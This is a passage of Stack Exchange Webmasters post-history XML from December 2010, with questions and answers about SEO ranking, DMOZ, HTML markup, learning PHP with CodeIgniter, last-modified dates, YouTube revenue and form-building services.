  <row Id="14060" PostHistoryTypeId="3" PostId="6988" RevisionGUID="d00f4be9-0d1d-4811-8f55-481fea50c449" CreationDate="2010-12-22T02:35:48.357" UserDisplayName="Jordan" Text="&lt;google&gt;&lt;magento&gt;&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="14061" PostHistoryTypeId="17" PostId="6988" RevisionGUID="cd20f712-6fa9-4c0c-9ba7-4f2f5dddc324" CreationDate="2010-12-22T03:56:34.967" UserId="-1" Comment="from http://stackoverflow.com/questions/4505712/google-is-not-ranking-magento-based-website" Text="" />
  <row Id="14062" PostHistoryTypeId="2" PostId="6989" RevisionGUID="4c9638f2-a3f4-40b4-89d9-dc75c2511649" CreationDate="2010-12-22T04:43:00.000" UserId="1064" Text="A Google search for [site:encryptstick.com][1] reports that your site is indexed and a search for [&quot;encryption software for usb sticks&quot;][2] reveals that you are ranked ~71 on that term.&#xD;&#xA;&#xD;&#xA;Most of your efforts (if you want to surpass your competition) should be directed toward building links - [however many][3] you've amassed, you'll likely need more (by orders of magnitude) to catch up to [truecrypt.com][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=site%3Aencryptstick.com&#xD;&#xA;  [2]: http://www.google.com/search?q=encryption+software+for+usb+sticks&#xD;&#xA;  [3]: http://www.opensiteexplorer.org/encryptstick.com%252F/a!metrics&#xD;&#xA;  [4]: http://www.opensiteexplorer.org/www.truecrypt.org%252F/a!metrics" />
  <row Id="14064" PostHistoryTypeId="2" PostId="6990" RevisionGUID="e63031bd-73ea-4a14-9b98-e2e9ca7b1591" CreationDate="2010-12-22T06:34:03.157" UserId="1689" Text="Does the `&lt;span&gt;` element have any SEO side-effects? Are there any semantic preferences between the following two or parsing differences between search engines?&#xD;&#xA;&#xD;&#xA;Clean `&lt;h1&gt;`:&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;Search Optimised Heading&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;vs `&lt;span&gt;` in `&lt;h1&gt;`:&#xD;&#xA;--&#xD;&#xA;    &lt;h1&gt;Search &lt;span class=&quot;someColour&quot;&gt;Optimised&lt;/span&gt; Heading&lt;/h1&gt;" />
  <row Id="14065" PostHistoryTypeId="1" PostId="6990" RevisionGUID="e63031bd-73ea-4a14-9b98-e2e9ca7b1591" CreationDate="2010-12-22T06:34:03.157" UserId="1689" Text="SEO of &lt;span&gt; in &lt;h1&gt; header" />
  <row Id="14066" PostHistoryTypeId="3" PostId="6990" RevisionGUID="e63031bd-73ea-4a14-9b98-e2e9ca7b1591" CreationDate="2010-12-22T06:34:03.157" UserId="1689" Text="&lt;seo&gt;&lt;html&gt;" />
  <row Id="14067" PostHistoryTypeId="2" PostId="6991" RevisionGUID="70f34f88-d0b6-4d70-8a8f-daab91c99ef2" CreationDate="2010-12-22T07:38:07.360" UserId="3992" Text="The other answers are useful, but they don't allow me to do the measurements I want to do in a repeatable, automated, systematic way.  After some more researching, this is a multi part problem. I will need to &#xD;&#xA;&#xD;&#xA;- Use the Firebug plugin, and the YSlow plugin. YSlow will send a [beacon][1] to me containing stats&#xD;&#xA;&#xD;&#xA;- Setup a server to receive, collect &amp; report on these results&#xD;&#xA;&#xD;&#xA;- Automate Firefox running against my web app from my continuous integration server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/help/beacons.html#yslow_beacon" />
  <row Id="14068" PostHistoryTypeId="2" PostId="6992" RevisionGUID="458d72f9-569a-48ff-9afc-51c25262035f" CreationDate="2010-12-22T07:39:16.173" UserId="1218" Text="Jordan, when i Googled your site, i saw an ad from Google at the top suggesting you sign up for Google Webmaster Tools. &#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;You should really do this, as it gives you all kinds of information about errors Google could be finding, and suggestions for improvement. The fact that they are serving this ad to you suggests to me that you haven't done this already.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ngukE.jpg" />
  <row Id="14069" PostHistoryTypeId="2" PostId="6993" RevisionGUID="9125806e-a843-406c-97eb-3ca87e3b9120" CreationDate="2010-12-22T07:43:31.920" UserId="1273" Text="There should be no difference. The `&lt;span&gt;` element has no semantic meaning whatsoever." />
  <row Id="14070" PostHistoryTypeId="2" PostId="6994" RevisionGUID="cd057aee-4c37-4174-955c-65c0d0591660" CreationDate="2010-12-22T08:53:35.690" UserDisplayName="adsense" Text="AdBrite rocks, AdSense should be burned in hell. Also AdBrite has so many options to play with you can custom that up and even sell your own ad campaigns.&#xD;&#xA;&#xD;&#xA;http://adsensealternativesblog.com/" />
  <row Id="14071" PostHistoryTypeId="2" PostId="6995" RevisionGUID="86508411-730d-4747-a5a8-9326e3f7ec80" CreationDate="2010-12-22T09:14:42.777" UserId="3819" Text="The smartest way is to just have an /images/ directory that's further broken down into images/buttons, images/avatars, images/icons, or anything else that makes managing, organizing, and keeping track of them easiest for you.&#xD;&#xA;&#xD;&#xA;But if you're getting a lot of hits and the server is being worked to display all of these pictures (many http requests), you might want to look into a [CDN][1] (or just host them elsewhere).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="14072" PostHistoryTypeId="2" PostId="6996" RevisionGUID="2f2f0e3e-30ed-43e7-875a-62c88ecfdb80" CreationDate="2010-12-22T09:18:45.177" UserId="3819" Text="DMOZ isn't what is was once paraded to be. Frankly, it's a joke of a project, but there's still SEO utility to be drawn from it.&#xD;&#xA;&#xD;&#xA;**I highly recommend applying to be an editor of your website's niche.** I became the editor of my niche and there were about 600 websites in queue, many of them in queue for years. I'm confident that for most people, you'll become an editor faster than you website will roll down queue.&#xD;&#xA;&#xD;&#xA;DMOZ is still a solid backlink. It's worth it because it shouldn't take you long to both submit your site and submit an editor application if you're so inclined. But it's **not** worth it to then check DMOZ every day and pine over admission to the DMOZ elite. Submit and forget." />
  <row Id="14073" PostHistoryTypeId="2" PostId="6997" RevisionGUID="70e7f874-9970-44bc-9132-f62a29ee9bf3" CreationDate="2010-12-22T09:22:17.543" UserId="3819" Text="My advice: **Become an editor**. For most categories, you have better odds of becoming an editor than you do getting your website accepted.&#xD;&#xA;&#xD;&#xA;I'm an editor of my own niche category and there were 600 websites in queue when I first logged in. Most of these websites had been in queue for *years*. The second I was accepted, I submitted my website (and linked it to my editor profile to comply with the honesty guidelines) and submitted some other key websites in my niche to make a good contribution that wasn't purely self-servicing." />
  <row Id="14074" PostHistoryTypeId="2" PostId="6998" RevisionGUID="97011125-79da-47e3-8734-05de66809af5" CreationDate="2010-12-22T09:57:23.053" UserId="3819" Text="Your two concerns are pretty &quot;low level&quot;, thus satisfied by just about any option you pick. Most frameworks have &quot;HTML Helpers&quot; that can generate forms for you.&#xD;&#xA;&#xD;&#xA;For example, in CodeIgniter, this:&#xD;&#xA;&#xD;&#xA;    form_open('register/complete');&#xD;&#xA;    form_input('username');&#xD;&#xA;    form_input('password');&#xD;&#xA;    form_input('password_confirmation');&#xD;&#xA;    form_submit('register', 'Submit Registration!');&#xD;&#xA;    form_close&#xD;&#xA;&#xD;&#xA;will generate this:&#xD;&#xA;&#xD;&#xA;    &lt;form method=&quot;post&quot; action=&quot;http:/example.com/registration/complete&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;password&quot; id=&quot;password&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;password_confirmation&quot; id=&quot;password_confirmation&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;submit&quot; name=&quot;register&quot; value=&quot;Submit Registration!&quot; /&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;and it will handle the form parameters and all that for you (with a little direction on your part).&#xD;&#xA;&#xD;&#xA;Your other requirement -- reading in forms to input into the database -- is a basic FORM --&gt; DATABASE insert that you'll also pick up quickly on your quest to learn about making websites.&#xD;&#xA;&#xD;&#xA;To give you more actionable advice, I started out learning HTML/CSS and PHP. Gained a bunch of familiarity by playing with my own Wordpress and vBulletin installations. Then I seriously developed a few websites with PHP. And now I work with Ruby (framework: Rails) and Python (framework: Django).&#xD;&#xA;&#xD;&#xA;I highly recommend that you start with:&#xD;&#xA;&#xD;&#xA; -  **HTML/CSS** (for displaying the website).&#xD;&#xA; -  **PHP** to actually run the logic of your website, interact with the database (like inserting submissions, selecting submissions to render into HTML), and generally run your website. &#xD;&#xA; - **MySQL** as your database. &#xD;&#xA; - **[CodeIgniter][1]** as a PHP framework. It has [great documentation][2] (pull down the Table of Contents tab on top).&#xD;&#xA;&#xD;&#xA;This is pretty much called a &quot;LAMP stack&quot; (Linux/Apache/MySQL/PHP, for our purposes) and just about every server out there runs this setup. PHP is also the most prevalent scripting language out there, so you can find the most resources. And most of all, this all is easy to deploy and get running.&#xD;&#xA;&#xD;&#xA;I think your real aim should be to learn how to make websites. Start by learning the fundamental basics of HTML, but then immediately jump into &quot;PHP &amp; MySQL&quot;, which are often taught coupled together. Once you have some basic footing and did some tutorial project in whatever book you chose to learn PHP/MySQL, I recommend jumping straight into your RateMyX project that you've envisioned. I'd even forget about CodeIgniter or any other framework until you can confidently create a simple website that can create/read/update/delete (CRUD) records in a database. A general understanding of PHP/HTML/database is required until you throw in another layer of something you simultaneously need to learn (a framework).&#xD;&#xA;&#xD;&#xA;But once you get to that point, you'll realize what a framework really is and why it's helpful.&#xD;&#xA;&#xD;&#xA;The project you describe is easier than you think. You just need to pick up a PHP+MySQL book and have at it. &#xD;&#xA;&#xD;&#xA;/**Edit**/: I see that you're already learning PHP/MySQL and want some tools to help you out. Then go ahead and jump into CodeIgniter, start checking out the various Helpers and Classes in the User Guide I linked. Even when I first started, I found that the actual website logic was easy. The harder parts were getting login/registration/authorization set up. Fortunately, CodeIgniter already has soon good solutions. Check out TankAuth or IonAuth for it. Handling data (Get and Post data, for example) that persists between pages as also very annoying until you get a framework.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codeigniter.com/&#xD;&#xA;  [2]: http://codeigniter.com/user_guide/" />
  <row Id="14075" PostHistoryTypeId="5" PostId="6998" RevisionGUID="c58e7d8b-1fa5-42a5-998a-d2fd2370a141" CreationDate="2010-12-22T10:07:38.390" UserId="3819" Comment="added 118 characters in body" Text="Your two concerns are pretty &quot;low level&quot;, thus satisfied by just about any option you pick. Most frameworks have &quot;HTML Helpers&quot; that can generate forms for you.&#xD;&#xA;&#xD;&#xA;For example, in CodeIgniter, this:&#xD;&#xA;&#xD;&#xA;    form_open('register/complete');&#xD;&#xA;    form_input('username');&#xD;&#xA;    form_input('password');&#xD;&#xA;    form_input('password_confirmation');&#xD;&#xA;    form_submit('register', 'Submit Registration!');&#xD;&#xA;    form_close&#xD;&#xA;&#xD;&#xA;will generate this:&#xD;&#xA;&#xD;&#xA;    &lt;form method=&quot;post&quot; action=&quot;http:/example.com/registration/complete&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;password&quot; id=&quot;password&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;password_confirmation&quot; id=&quot;password_confirmation&quot; /&gt;&#xD;&#xA;    &lt;input type=&quot;submit&quot; name=&quot;register&quot; value=&quot;Submit Registration!&quot; /&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;and it will handle the form parameters and all that for you (with a little direction on your part).&#xD;&#xA;&#xD;&#xA;Your other requirement -- reading in forms to input into the database -- is a basic FORM --&gt; DATABASE insert that you'll also pick up quickly on your quest to learn about making websites.&#xD;&#xA;&#xD;&#xA;To give you more actionable advice, I started out learning HTML/CSS and PHP. Gained a bunch of familiarity by playing with my own Wordpress and vBulletin installations. Then I seriously developed a few websites with PHP. And now I work with Ruby (framework: Rails) and Python (framework: Django).&#xD;&#xA;&#xD;&#xA;I highly recommend that you start with:&#xD;&#xA;&#xD;&#xA; -  **HTML/CSS** (for displaying the website).&#xD;&#xA; -  **PHP** to actually run the logic of your website, interact with the database (like inserting submissions, selecting submissions to render into HTML), and generally run your website. &#xD;&#xA; - **MySQL** as your database. &#xD;&#xA; - **[CodeIgniter][1]** as a PHP framework. It has [great documentation][2] (pull down the Table of Contents tab on top).&#xD;&#xA;&#xD;&#xA;This is pretty much called a &quot;LAMP stack&quot; (Linux/Apache/MySQL/PHP, for our purposes) and just about every server out there runs this setup. PHP is also the most prevalent scripting language out there, so you can find the most resources. And most of all, this all is easy to deploy and get running.&#xD;&#xA;&#xD;&#xA;I think your real aim should be to learn how to make websites. Start by learning the fundamental basics of HTML, but then immediately jump into &quot;PHP &amp; MySQL&quot;, which are often taught coupled together. Once you have some basic footing and did some tutorial project in whatever book you chose to learn PHP/MySQL, I recommend jumping straight into your RateMyX project that you've envisioned. I'd even forget about CodeIgniter or any other framework until you can confidently create a simple website that can create/read/update/delete (CRUD) records in a database. A general understanding of PHP/HTML/database is required until you throw in another layer of something you simultaneously need to learn (a framework).&#xD;&#xA;&#xD;&#xA;But once you get to that point, you'll realize what a framework really is and why it's helpful.&#xD;&#xA;&#xD;&#xA;The project you describe is easier than you think. You just need to pick up a PHP+MySQL book and have at it. &#xD;&#xA;&#xD;&#xA;/**Edit**/: I see that you're already learning PHP/MySQL and want some tools to help you out. Then go ahead and jump into CodeIgniter, start checking out the various Helpers and Classes in the User Guide I linked. You'll also have to learn the MVC (Model/View/Controller) setup, but once you learn it, you'll never want to go back. Even when I first started, I found that the actual website logic was easy. The harder parts were getting login/registration/authorization set up. Fortunately, CodeIgniter already has soon good solutions. Check out TankAuth or IonAuth for it. Handling data (Get and Post data, for example) that persists between pages as also very annoying until you get a framework.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codeigniter.com/&#xD;&#xA;  [2]: http://codeigniter.com/user_guide/" />
  <row Id="14076" PostHistoryTypeId="2" PostId="6999" RevisionGUID="0bb40e3b-05f6-4ff6-962e-f68de7a23056" CreationDate="2010-12-22T10:22:22.410" UserId="3307" Text="Matt Mullenweg (Wordpress founder) wrote [a good article][1] on this subject. I've used it and it worked perfectly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ma.tt/2003/10/wildcard-dns-and-sub-domains/" />
  <row Id="14077" PostHistoryTypeId="2" PostId="7000" RevisionGUID="a0b5d667-bac1-4909-a37f-14493f62d4e8" CreationDate="2010-12-22T10:39:54.620" UserId="3310" Text="don't forget that pagerank reported by the toolbar and other sites is not the PR that google use internally and is only updated twice a year or so." />
  <row Id="14078" PostHistoryTypeId="2" PostId="7001" RevisionGUID="cd63edb6-5729-4c56-9e81-921074e7e385" CreationDate="2010-12-22T10:42:06.457" UserId="1022" Text="I'd suggest calling hosting companies and talk to a sales rep. Your situation is uncommon, so avoiding the &quot;package deal&quot; pricing schemes might get you a much better deal that fits better. Limits like 1GB databases are usually just arbitrary price tags set by marketing anyway, a sales rep will be more flexible. They might not bend very far for under $20/month, but it's worth a try.&#xD;&#xA;&#xD;&#xA;I'm a big fan of the non-managed VPS hosts like Linode, but wouldn't recommend it unless you really know your way around a web server - installing &amp; configuring all the software, handling kernel upgrades, configuring iptables, disabling root, etc. You could be setting yourself for a lot of problems otherwise.&#xD;&#xA;&#xD;&#xA;And assuming &quot;easier mod_rewrites&quot; means easier syntax, see if [mod_alias][1] can do what you need. The only other implication of &quot;easier&quot; I can think of is if your host just forbids them. In that case, just about any other host will be easier.&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/mod_alias.html&#xD;&#xA;" />
  <row Id="14079" PostHistoryTypeId="2" PostId="7002" RevisionGUID="207045c6-a633-4ecc-b6ac-a08930c56237" CreationDate="2010-12-22T11:08:49.687" UserDisplayName="Tim" Text="I have a personal website that has around 4 - 5 HTML pages that I modify on a local editor (Kompozer) and then upload it to my website running on Apache.&#xD;&#xA;&#xD;&#xA;I have seen many a times, pages have the footer as: 'Last modified date: ' or something like this, the date when the page was last updated.&#xD;&#xA;&#xD;&#xA;How do I do the same for a HTML page? Is it possible? &#xD;&#xA;" />
  <row Id="14080" PostHistoryTypeId="1" PostId="7002" RevisionGUID="207045c6-a633-4ecc-b6ac-a08930c56237" CreationDate="2010-12-22T11:08:49.687" UserDisplayName="Tim" Text="Adding 'Last Modification Date' to HTML pages" />
  <row Id="14081" PostHistoryTypeId="3" PostId="7002" RevisionGUID="207045c6-a633-4ecc-b6ac-a08930c56237" CreationDate="2010-12-22T11:08:49.687" UserDisplayName="Tim" Text="&lt;html&gt;&lt;apache&gt;" />
  <row Id="14082" PostHistoryTypeId="2" PostId="7003" RevisionGUID="e894d6ca-da28-49ad-a72f-691d14fc1228" CreationDate="2010-12-22T11:20:18.720" UserId="1429" Text="I changed registrars 3 times for some domains (I even changed form US registrars to Italian registars) and none of the undergoing websites got affected at all regarding Google ranking and/or PR.&#xD;&#xA;&#xD;&#xA;But watch out, I did not change WHOIS DATA for these domains.&#xD;&#xA;&#xD;&#xA;Changing whois data might be a different story, sometimes I ownder if Google looks into them for ranking local searches." />
  <row Id="14083" PostHistoryTypeId="2" PostId="7004" RevisionGUID="af2dc955-18d8-41dd-8fad-addfd4c0b1a9" CreationDate="2010-12-22T11:26:20.573" UserId="1429" Text="If using PHP, just add this string in your HTML pages:&#xD;&#xA;&#xD;&#xA;    &lt;?php echo &quot;Page last modified: &quot; . date (&quot;F d Y H:i:s.&quot;, filemtime(__FILE__)); ?&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14084" PostHistoryTypeId="2" PostId="7005" RevisionGUID="3898a489-03b2-4c3b-9646-4af3fedc69df" CreationDate="2010-12-22T11:52:54.800" UserId="233" Text="You just need to be patient and get your site out there. Searching for `site:encryptstick.com` shows plenty of pages so the site is being indexed fine. A search for &quot;encrypt stick&quot; shows you as #1.&#xD;&#xA;&#xD;&#xA;If you want to check Google Webmaster Tools for errors, the best place to look is Diagnostics &gt; Crawl Errors. You might also like to try Yahoo's [Site Explorer][1].&#xD;&#xA;&#xD;&#xA;If you want to rank for competitive keywords, it will simply take a while longer to build up links and generate buzz around your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com/uk/siteexplorer/search?p=encryptstick.com" />
  <row Id="14085" PostHistoryTypeId="6" PostId="6988" RevisionGUID="76be8f08-5075-45ae-a260-1f2e4c851009" CreationDate="2010-12-22T11:55:38.870" UserId="233" Comment="question is nothing to do with PageRank™" Text="&lt;seo&gt;&lt;google&gt;&lt;magento&gt;" />
  <row Id="14086" PostHistoryTypeId="2" PostId="7006" RevisionGUID="bf5edace-11ee-44f2-ae6d-462703adac9e" CreationDate="2010-12-22T12:03:18.337" UserId="3175" Text="Is there anyway I can generate revenue using YouTube embed tag on my site?&#xD;&#xA;Maybe some kind of AdSense integration to ads showing up in the videos?&#xD;&#xA;&#xD;&#xA;Thanksm&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="14087" PostHistoryTypeId="1" PostId="7006" RevisionGUID="bf5edace-11ee-44f2-ae6d-462703adac9e" CreationDate="2010-12-22T12:03:18.337" UserId="3175" Text="Revenue through youtube" />
  <row Id="14088" PostHistoryTypeId="3" PostId="7006" RevisionGUID="bf5edace-11ee-44f2-ae6d-462703adac9e" CreationDate="2010-12-22T12:03:18.337" UserId="3175" Text="&lt;affiliate&gt;" />
  <row Id="14089" PostHistoryTypeId="2" PostId="7007" RevisionGUID="6be3dd69-6e9e-4071-8961-15962f009015" CreationDate="2010-12-22T12:09:50.597" UserId="1757" Text="What editor are you using to edit the page? Many WYSIWYG editors (as well as some text-based ones) allow you to insert automatically-updated time/date fields. If you don't want to use PHP or some other server-side language, then this would be the easiest way to do it. For example, in DreamWeaver, you just click on the &quot;Insert Date&quot; button and check the &quot;Update automatically on save&quot; box.&#xD;&#xA;&#xD;&#xA;Though if you're not too scared of programming and you're interested in build websites professionally, I would highly recommend you just learn a server-side scripting language like PHP/Python/Ruby/JSP/ASP/etc." />
  <row Id="14090" PostHistoryTypeId="2" PostId="7008" RevisionGUID="7f967593-d2f6-4e3b-8539-a0e765c67478" CreationDate="2010-12-22T12:25:24.890" UserId="1757" Text="AFAIK, the only way to get paid for YouTube videos is by becoming a YouTube partner and posting original content. I'm guessing they have some standards of quality, so not just any spammer looking to make a quick buck will be able to qualify. Most YouTube partners are filmmakers, artists, etc.&#xD;&#xA;&#xD;&#xA;The only way to make money embedding other people's videos is to use AdSense and post video units on your site. These videos come from YouTube partners, so the revenue is split between you and the Youtube partner who created the content." />
  <row Id="14091" PostHistoryTypeId="2" PostId="7009" RevisionGUID="9a86b314-ae74-4406-8a59-51068617d67c" CreationDate="2010-12-22T12:37:42.193" UserId="3307" Text="Can you not put adverts into the videos?" />
  <row Id="14092" PostHistoryTypeId="2" PostId="7010" RevisionGUID="9654eec0-3fd3-48ca-b3a1-c7b4b8db1b57" CreationDate="2010-12-22T12:42:03.237" UserId="3803" Text="I'm looking for a web app I can install to allow users to create simple forms, collect responses, and extract the data (e.g. as a CSV spreadsheet) in order to track travel, expenses, etc. Any recommendations for an existing web app, or approaches to implement it (e.g. with Rails)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14093" PostHistoryTypeId="1" PostId="7010" RevisionGUID="9654eec0-3fd3-48ca-b3a1-c7b4b8db1b57" CreationDate="2010-12-22T12:42:03.237" UserId="3803" Text="Alternative to Google Forms?" />
  <row Id="14094" PostHistoryTypeId="3" PostId="7010" RevisionGUID="9654eec0-3fd3-48ca-b3a1-c7b4b8db1b57" CreationDate="2010-12-22T12:42:03.237" UserId="3803" Text="&lt;google&gt;&lt;forms&gt;" />
  <row Id="14095" PostHistoryTypeId="2" PostId="7011" RevisionGUID="dd099174-b44d-4f10-a916-ba51b12882e2" CreationDate="2010-12-22T12:58:32.293" UserId="3590" Text="Imagine situation where multiple aliases point to the same server, where htacces divides them into their own language folders.&#xD;&#xA;&#xD;&#xA;    Example:  &#xD;&#xA;    mywebsite.fr &gt;&gt; /fr/home  &#xD;&#xA;    mywebsite.de &gt;&gt; /de/home  &#xD;&#xA;    mywebsite.it &gt;&gt; /it/home  &#xD;&#xA;    about seven more domains... &#xD;&#xA;&#xD;&#xA;Now, which one is best for pr?&#xD;&#xA;" />
  <row Id="14096" PostHistoryTypeId="1" PostId="7011" RevisionGUID="dd099174-b44d-4f10-a916-ba51b12882e2" CreationDate="2010-12-22T12:58:32.293" UserId="3590" Text="which one is best for pr?" />
  <row Id="14097" PostHistoryTypeId="3" PostId="7011" RevisionGUID="dd099174-b44d-4f10-a916-ba51b12882e2" CreationDate="2010-12-22T12:58:32.293" UserId="3590" Text="&lt;pagerank&gt;" />
  <row Id="14098" PostHistoryTypeId="2" PostId="7012" RevisionGUID="5eaaeb80-73cf-40dc-8576-1190cf029619" CreationDate="2010-12-22T13:06:14.320" UserId="1757" Text="The only form-creating apps I know of are Wufoo, Pandaform, SurveyMonkey, FormSpring.me, and OpinionLab. But of these, only Wufoo will work for what you want (I *think*; you may want to check the other sites to see if they have advanced integration APIs like Wufoo does). However, there is also a [3rd-party Google Form API][1] that can extract data from Google Docs forms via webscraping.&#xD;&#xA;&#xD;&#xA;Though unless these services offer additional features you need, I'd just code the forms yourself. It's not that hard (easier than integrating with another service at least), and even if you want flexible forms, there are [ways to do that][2] as well (and if you don't want to use EAV, you could try [these options][3]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://viatropos.com/blog/introducing-the-google-form-api/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/6379/big-specialized-complex-forms-for-ordering-signing-up&#xD;&#xA;  [3]: http://stackoverflow.com/questions/695752/" />
  <row Id="14099" PostHistoryTypeId="2" PostId="7013" RevisionGUID="abd1b08c-e4d4-48a6-acfc-21defff70386" CreationDate="2010-12-22T13:13:01.680" UserId="3545" Text="You don't mention a budget, so I'll give you my two favorites:&#xD;&#xA;&#xD;&#xA;[Wufoo](http://wufoo.com/features/) - Paid (unless you have small requirements), but awesome. Non-install, but you create the forms there and then install them in your webpage. You can bulk-export to excel or CSV.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[FormTools](http://www.formtools.org/) - Free, open-source, self-hosted. Does all that you need, but isn't as simple to use as Wufoo. However, it is simple to use and I like it a lot.&#xD;&#xA;" />
  <row Id="14100" PostHistoryTypeId="2" PostId="7014" RevisionGUID="ea9e2133-54a0-47b8-a997-2a9cd60ce081" CreationDate="2010-12-22T13:13:20.447" UserId="1253" Text="None of the above. PR is *per page*, not per site or per directory or URL structure, etc. Each page's PR is determined using the PR formula which is based on *link popularity*. " />
  <row Id="14101" PostHistoryTypeId="5" PostId="7012" RevisionGUID="c10de83c-3a4c-444e-b195-24b76a6a1b58" CreationDate="2010-12-22T13:16:38.680" UserId="1757" Comment="added 247 characters in body" Text="The only form-creating apps I know of are Wufoo, Pandaform, SurveyMonkey, FormSpring.me, and OpinionLab. But of these, only Wufoo will work for what you want (I *think*; you may want to check the other sites to see if they have advanced integration APIs like Wufoo does). However, there is also a [3rd-party Google Form API][1] that can customize Google forms via webscraping the formkey and using the [Google Data API][2].&#xD;&#xA;&#xD;&#xA;Though unless these services offer additional features you need, I'd just code the forms yourself. It's not that hard (easier than integrating with another service at least), and even if you want flexible forms, there are [ways to do that][3] as well (and if you don't want to use EAV, you could try [these options][4]).&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;I just found this too: [custom Google Form via a simple Rails application][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://viatropos.com/blog/introducing-the-google-form-api/&#xD;&#xA;  [2]: http://code.google.com/apis/gdata/docs/directory.html&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/6379/big-specialized-complex-forms-for-ordering-signing-up&#xD;&#xA;  [4]: http://stackoverflow.com/questions/695752/&#xD;&#xA;  [5]: https://github.com/mocra/custom_google_forms" />
  <row Id="14102" PostHistoryTypeId="2" PostId="7015" RevisionGUID="c44dbc73-5d12-44d1-bdd7-5a747e5247a1" CreationDate="2010-12-22T14:31:26.227" UserId="3307" Text="If you want to keep it as an HTML page with no server side scripting, you can use Javascript to get the date last modified.&#xD;&#xA;&#xD;&#xA;[Instructions here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.chami.com/tips/internet/041198i.html" />
  <row Id="14103" PostHistoryTypeId="2" PostId="7016" RevisionGUID="d4743534-e3d5-466a-b41c-f26ffcb16b0a" CreationDate="2010-12-22T14:55:11.350" UserId="3307" Text="I wouldn't say that the answer given in the linked question is a workaround. That's the expected way to do it. I would stick with that. You're only going to need to create one url per banner ad. I know it's a bit of a pain to have to do it, but this is how most people do it and it works pretty well." />
  <row Id="14104" PostHistoryTypeId="2" PostId="7017" RevisionGUID="1125e349-8e3c-4cda-9567-a1da7369aad6" CreationDate="2010-12-22T14:58:27.963" UserId="3307" Text="Usually when you post a feed to your merchant account in Google Base, it will give you lines where the errors are. Take a look at that." />
  <row Id="14105" PostHistoryTypeId="2" PostId="7018" RevisionGUID="e7c0ccf0-539c-425e-80b6-190ba6b7b0d1" CreationDate="2010-12-22T15:11:13.197" UserId="3307" Text="One thing that it's worth noting is that more and [more spammers are using real people][1] to do their work, rather than bots. In which case, worrying about which captcha or honeypot to use isn't going to be very useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.readwriteweb.com/archives/amazons_mechanical_turk_used_for_fraud.php" />
  <row Id="14106" PostHistoryTypeId="2" PostId="7019" RevisionGUID="7aa8eeeb-7738-4d02-bce2-60a357bfecc3" CreationDate="2010-12-22T15:19:28.327" UserId="4020" Text="They are all equally a bad approach for building PR.&#xD;&#xA;&#xD;&#xA;The problem is that each page gets it's own PR, which dilutes the total PR given to your site." />
  <row Id="14107" PostHistoryTypeId="2" PostId="7020" RevisionGUID="086a90cc-876e-48c6-999d-b153004bf6b2" CreationDate="2010-12-22T15:46:23.820" UserId="3307" Text="[Netcraft][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.netcraft.com" />
  <row Id="14108" PostHistoryTypeId="2" PostId="7021" RevisionGUID="d9187022-6bd7-407c-a130-df331dab848b" CreationDate="2010-12-22T15:49:51.293" UserDisplayName="DarkLightA" Text="I want this design, which I have already managed to get: &#xD;&#xA;&#xD;&#xA;    DIV1: auto-size DIV2: 160px&#xD;&#xA;    ________________  ________&#xD;&#xA;    |divnumberonediv| |divtwo|&#xD;&#xA;    |divnumberonediv| |divtwo|&#xD;&#xA;    |divnumberonediv| |divtwo|&#xD;&#xA;    |divnumberonediv| |divtwo|&#xD;&#xA;    |divnumberonediv| |divtwo|&#xD;&#xA;    |divnumberonediv| |divtwo|&#xD;&#xA;    -----------------  ------&#xD;&#xA;I want the div 2 to always be there, and the div1 to have a max-width of 40em, but resize to allow the div 2 to show at all times if its necessary.&#xD;&#xA;&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    &lt;style=&quot;text/css&quot;&gt;&#xD;&#xA;        #mainbulk {&#xD;&#xA;         padding: 1.5em 2% 1.5em .5em;&#xD;&#xA;        }&#xD;&#xA;        #ads {&#xD;&#xA;         width: 7.5em;&#xD;&#xA;         float: left;&#xD;&#xA;         display: table-cell;&#xD;&#xA;     padding: 0 0 0 2em;&#xD;&#xA;        }&#xD;&#xA;        #textcontent {&#xD;&#xA;         width: 70%;&#xD;&#xA;    